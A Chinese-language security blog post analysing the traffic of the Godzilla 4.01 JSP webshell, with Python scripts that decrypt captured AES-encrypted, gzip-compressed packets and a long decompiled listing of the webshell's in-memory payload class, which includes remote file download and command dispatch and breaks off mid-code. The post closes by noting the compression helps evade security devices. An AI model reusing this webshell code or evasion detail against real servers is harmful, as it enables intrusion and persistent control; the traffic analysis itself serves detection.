『杂项』哥斯拉4.01版本JSPShell流量分析

admin 2022年4月11日23:49:52评论522 views字数 11263阅读37分32秒阅读模式

点击蓝字 关注我们


日期:2022-04-11

作者:nothing

介绍:哥斯拉 4.01 版本 JSPShell 流量分析。


0x00 前言

之前分析完了哥斯拉的phpshell以后,常用的javashell还没有分析,这次趁着有空便分析了一下。

0x01 哥斯拉加密模块分析

1.1 反编译

常规,先对godzilla.jar包进行反编译,shell的加密方法位置在:

"shells" packet->"cryptions" packet->"JavaAes" packet->JavaAesRaw class

『杂项』哥斯拉4.01版本JSPShell流量分析

简单从代码分析来看,encode函数是加密函数,decode函数是解密函数,但是两个函数也仅仅做了一次AES算法的加密和解密罢了。

AES加密的密钥来自用户提供的密钥经过MD5的32位摘要后,取前16位的值。

『杂项』哥斯拉4.01版本JSPShell流量分析

1.2 shell脚本

生成shell脚本以后,内容如下:

JavaAesRaw.jsp

『杂项』哥斯拉4.01版本JSPShell流量分析

JavaAesBase64.jsp

『杂项』哥斯拉4.01版本JSPShell流量分析

可以看到,相比于JavaAesBase64的脚本,Raw的脚本相对来说比较简答一点,简单来说,就是对class类构造以后进行常规的AES加密,JavaAesBase64的脚本则是AES加密后多了一步base64编码的操作。

0x02 流量分析

进行流量分析以后,我发现流程其实和PHP版本的shell差不太多。

接下来的流量已JavaAesRaw版本的shell为例进行分析。

先看流量:这是第一个TCP数据包的内容。

『杂项』哥斯拉4.01版本JSPShell流量分析

先对第一个HTTP数据包进行解密,解密代码如下:

import base64from Crypto.Cipher import AES  import binasciifrom Crypto.Util.Padding import pad, unpad
BLOCK_SIZE = 32def aes_decode(data, key): try: aes = AES.new(str.encode(key), AES.MODE_ECB) # 初始化加密器 decrypted_text = aes.decrypt(pad(data,BLOCK_SIZE)) # 解密 decrypted_text = decrypted_text[:-(decrypted_text[-1])] except Exception as e: print(e) return decrypted_text
key = '3c6e0b8a9c15224a's = "第一个数据包内容"s = base64.b64decode(s)#binascii.a2b_hex(s)s = aes_decode(s,key)print(s)

解密后的内容不出所料,不是常规内容,直接输出是一堆乱码,但是写成文件后观察十六进制文件头,对比后发现是class格式的内容。

『杂项』哥斯拉4.01版本JSPShell流量分析

『杂项』哥斯拉4.01版本JSPShell流量分析

于是保存成class文件后放到jd-gui里进行反编译查看代码内容,跟php类型的shell一样,也是注入了一大段包含多个功能函数的大马到内存里,然后去执行类容,如下所示:

package org.apache.coyote.util;
public class CompactStringObjectMap extends ClassLoader{ public CompactStringObjectMap() {}
public CompactStringObjectMap(ClassLoader loader) { super(loader); }
public static final char[] toBase64 = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; HashMap parameterMap = new HashMap(); HashMap sessionMap; Object servletContext; Object servletRequest; Object httpSession; byte[] requestData; ByteArrayOutputStream outputStream;
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
public byte[] run() { try { String className = get("evalClassName"); String methodName = get("methodName"); if (methodName != null) { if (className == null) { Method method = getClass().getMethod(methodName, null); if (method.getReturnType().isAssignableFrom([B.class)) { return (byte[])method.invoke(this, null); } return "this method returnType not is byte[]".getBytes(); } Class evalClass = (Class)this.sessionMap.get(className); if (evalClass != null) { Object object = evalClass.newInstance(); object.equals(this.parameterMap); object.toString(); Object resultObject = this.parameterMap.get("result"); if (resultObject != null) { if ([B.class.isAssignableFrom(resultObject.getClass())) { return (byte[])resultObject; } return "return typeErr".getBytes(); } return new byte[0]; } return "evalClass is null".getBytes(); } return "method is null".getBytes(); } catch (Throwable e) { ByteArrayOutputStream stream = new ByteArrayOutputStream(); PrintStream printStream = new PrintStream(stream); e.printStackTrace(printStream); printStream.flush(); printStream.close(); return stream.toByteArray(); } }
public void formatParameter() { this.parameterMap.clear();
this.parameterMap.put("sessionMap", this.sessionMap); this.parameterMap.put("servletRequest", this.servletRequest); this.parameterMap.put("servletContext", this.servletContext); this.parameterMap.put("httpSession", this.httpSession);
byte[] parameterByte = this.requestData;
ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte);
ByteArrayOutputStream tp = new ByteArrayOutputStream();
String key = null; byte[] lenB = new byte[4]; byte[] data = null; try { GZIPInputStream inputStream = new GZIPInputStream(tStream); for (;;) { byte t = (byte)inputStream.read(); if (t == -1) { break; } if (t == 2) { key = new String(tp.toByteArray());
inputStream.read(lenB);
int len = bytesToInt(lenB);
data = new byte[len];
int readOneLen = 0; while (readOneLen += inputStream.read(data, readOneLen, data.length - readOneLen) < data.length) {} this.parameterMap.put(key, data);
tp.reset(); } else { tp.write(t); } } tp.close(); tStream.close(); inputStream.close(); } catch (Exception localException) {} }
public boolean equals(Object obj) { if ((obj != null) && (handle(obj))) { noLog(this.servletContext); return true; } return false; }
public boolean handle(Object obj) { if (obj == null) { return false; } if (ByteArrayOutputStream.class.isAssignableFrom(obj.getClass())) { this.outputStream = ((ByteArrayOutputStream)obj); return false; } if (supportClass(obj, "%s.servlet.http.HttpServletRequest")) { this.servletRequest = obj; } else if (supportClass(obj, "%s.servlet.ServletRequest")) { this.servletRequest = obj; } else if ([B.class.isAssignableFrom(obj.getClass())) { this.requestData = ((byte[])obj); } else if (supportClass(obj, "%s.servlet.http.HttpSession")) { this.httpSession = obj; } handlePayloadContext(obj); if ((this.servletRequest != null) && (this.requestData == null)) { Object retVObject = getMethodAndInvoke(this.servletRequest, "getAttribute", new Class[] { String.class }, new Object[] { "parameters" }); if ((retVObject != null) && ([B.class.isAssignableFrom(retVObject.getClass()))) { this.requestData = ((byte[])retVObject); } } return true; }
private void handlePayloadContext(Object obj) { try { Method getRequestMethod = getMethodByClass(obj.getClass(), "getRequest", null); Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null); Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null); if ((getRequestMethod != null) && (this.servletRequest == null)) { this.servletRequest = getRequestMethod.invoke(obj, null); } if ((getServletContextMethod != null) && (this.servletContext == null)) { this.servletContext = getServletContextMethod.invoke(obj, null); } if ((getSessionMethod != null) && (this.httpSession == null)) { this.httpSession = getSessionMethod.invoke(obj, null); } } catch (Exception localException) {} }
private boolean supportClass(Object obj, String classNameString) { if (obj == null) { return false; } boolean ret = false; Class c = null; try { if ((c = getClass(String.format(classNameString, new Object[] { "javax" }))) != null) { ret = c.isAssignableFrom(obj.getClass()); } if (!ret) { if ((c = getClass(String.format(classNameString, new Object[] { "jakarta" }))) != null) { ret = c.isAssignableFrom(obj.getClass()); } } } catch (Exception localException) {} return ret; }
public String toString() { String returnString = null; if (this.outputStream != null) { try { initSessionMap();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream);
formatParameter(); if (this.parameterMap.get("evalNextData") != null) { run(); this.requestData = ((byte[])this.parameterMap.get("evalNextData")); formatParameter(); } gzipOutputStream.write(run()); gzipOutputStream.close();
this.outputStream.close(); } catch (Throwable e) { returnString = e.getMessage(); } } else { returnString = "outputStream is null"; } this.httpSession = null; this.outputStream = null; this.parameterMap = null; this.requestData = null; this.servletContext = null; this.servletRequest = null; this.sessionMap = null; return returnString; }
private void initSessionMap() { if (this.sessionMap == null) { if (getSessionAttribute("sessionMap") != null) { try { this.sessionMap = ((HashMap)getSessionAttribute("sessionMap")); } catch (Exception localException) {} } else { this.sessionMap = new HashMap(); try { setSessionAttribute("sessionMap", this.sessionMap); } catch (Exception localException1) {} } if (this.sessionMap == null) { this.sessionMap = new HashMap(); } } }
public String get(String key) { try { return new String((byte[])this.parameterMap.get(key)); } catch (Exception e) {} return null; }
public byte[] getByteArray(String key) { try { return (byte[])this.parameterMap.get(key); } catch (Exception e) {} return null; }
public byte[] test() { return "ok".getBytes(); }
public byte[] getFile() { String dirName = get("dirName"); if (dirName != null) { dirName = dirName.trim(); String buffer = new String(); try { String currentDir = new File(dirName).getAbsoluteFile() + "/"; File currentDirFile = new File(currentDir); if (currentDirFile.exists()) { File[] files = currentDirFile.listFiles();
buffer = buffer + "ok"; buffer = buffer + "n"; buffer = buffer + currentDir; buffer = buffer + "n"; if (files != null) { for (int i = 0; i < files.length; i++) { File file = files[i]; try { buffer = buffer + file.getName(); buffer = buffer + "t"; buffer = buffer + (file.isDirectory() ? "0" : "1"); buffer = buffer + "t"; buffer = buffer + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss") .format(new Date(file.lastModified())); buffer = buffer + "t"; buffer = buffer + Integer.toString((int)file.length()); buffer = buffer + "t"; String fileState = (file.canRead() ? "R" : "") + (file.canWrite() ? "W" : "") + ( getMethodByClass(File.class, "canExecute", null) != null ? "" : file.canExecute() ? "X" : ""); buffer = buffer + ((fileState == null) || (fileState.trim().length() == 0) ? "F" : fileState); buffer = buffer + "n"; } catch (Exception e) { buffer = buffer + e.getMessage(); buffer = buffer + "n"; } } } } else { return "dir does not exist".getBytes(); } } catch (Exception e) { return String.format("dir does not exist errMsg:%s", new Object[] { e.getMessage() }).getBytes(); } return buffer.getBytes(); } return "No parameter dirName".getBytes(); }
public String listFileRoot() { File[] files = File.listRoots(); String buffer = new String(); for (int i = 0; i < files.length; i++) { buffer = buffer + files[i].getPath(); buffer = buffer + ";"; } return buffer; }
public byte[] fileRemoteDown() { String url = get("url"); String saveFile = get("saveFile"); if ((url != null) && (saveFile != null)) { FileOutputStream outputStream = null; try { InputStream inputStream = new URL(url).openStream(); outputStream = new FileOutputStream(saveFile); byte[] data = new byte[5120]; int readNum = -1; while ((readNum = inputStream.read(data)) != -1) { outputStream.write(data, 0, readNum); } outputStream.flush(); outputStream.close(); inputStream.close(); return "ok".getBytes(); } catch (Exception e) { if (outputStream != null) { try { outputStream.close(); } catch (IOException e1) { return e1.getMessage().getBytes(); } } return String.format("%s : %s", new Object[] { e.getClass().getName(), e.getMessage() }).getBytes(); } } return "url or saveFile is null".getBytes(); }
public byte[] setFileAttr() { String type = get("type"); String attr = get("attr"); String fileName = get("fileName"); String ret = "Null"; if ((type != null) && (attr != null) && (fileName != null)) { try { File file = new File(fileName); if ("fileBasicAttr".equals(type)) { if (getMethodByClass(// INTERNAL ERROR //

第一个数据包没有返回包,接着看第二个数据包,请求内容为:

d26414f92d691674f3dedb554e70202550ff681c03dcd3572f74df4c4c68d7078abb82808610aee869f51107d7d66f60

返回包内容为:

2c5fc8a643ef334889238c26a41b360daa0156f71b0cca70b8bee7612de7fe4e

按照常规方法去进行解密,发现解密完后的数据不是可见字符,针对文件头进行分析对比后,再结合注入的大马内容,发现是对请求和返回的数据都进行了gzip deflate压缩。

『杂项』哥斯拉4.01版本JSPShell流量分析

『杂项』哥斯拉4.01版本JSPShell流量分析


『杂项』哥斯拉4.01版本JSPShell流量分析

把脚本改一下,加入一个decompress函数就可以了。如下所示:

import base64import zlibfrom Crypto.Cipher import AES  import binasciifrom Crypto.Util.Padding import pad, unpad
BLOCK_SIZE = 32def aes_decode(data, key): try: aes = AES.new(str.encode(key), AES.MODE_ECB) # 初始化加密器 decrypted_text = aes.decrypt(pad(data,BLOCK_SIZE)) # 解密 decrypted_text = decrypted_text[:-(decrypted_text[-1])] except Exception as e: print(e) return decrypted_text
key = '3c6e0b8a9c15224a's = "d26414f92d691674f3dedb554e70202550ff681c03dcd3572f74df4c4c68d7078abb82808610aee869f51107d7d66f60"s = binascii.a2b_hex(s)#base64.b64decode(s)s = aes_decode(s,key)print(s,base64.b64encode(zlib.decompress(s,30)))

注意这里有两个坑点: 

1、直接使用zlib.decompress会出错,bits大小不能过大,过大的话容易出错。

2、我在使用vscode运行脚本输出的时候,直接隐藏后面输出,显示不完整,建议使用 base64编码后另外找工具解码。

『杂项』哥斯拉4.01版本JSPShell流量分析

第一步,发送test

『杂项』哥斯拉4.01版本JSPShell流量分析

返回值ok

第二步 getbasicinfo

『杂项』哥斯拉4.01版本JSPShell流量分析

第三部 执行系统命令

『杂项』哥斯拉4.01版本JSPShell流量分析

流程大致如下:

1、将大马和各个功能函数注入内存。

2、发一个methodName test包确认是否存活。

3、请求methodName basicinfo,获取基本信息。

4、以上是哥斯拉马的通用特征,最下方两个数据包,是我单独执行的,cmdline后面跟的是我执行的系统命令,返回root

至此,JavaAesRaw版本的shell就分析完成,至于JavaAesBase64版本的也很简单,大致流程一样,就是多了一步base64编码的过程,分析流量的时候,请求包直接解密多一步base64解码过程,返回包解码的话要先把前缀和后缀字符去掉后再进行解密。

0x03 总结

综合来讲,哥斯拉使用了gzip deflate方式对数据进行压缩后,大大提高了防安全设备检测的概率,相对来说更安全。


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『杂项』哥斯拉4.01版本JSPShell流量分析

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『杂项』哥斯拉4.01版本JSPShell流量分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月11日23:49:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『杂项』哥斯拉4.01版本JSPShell流量分析http://cn-sec.com/archives/898970.html

发表评论

匿名网友 填写信息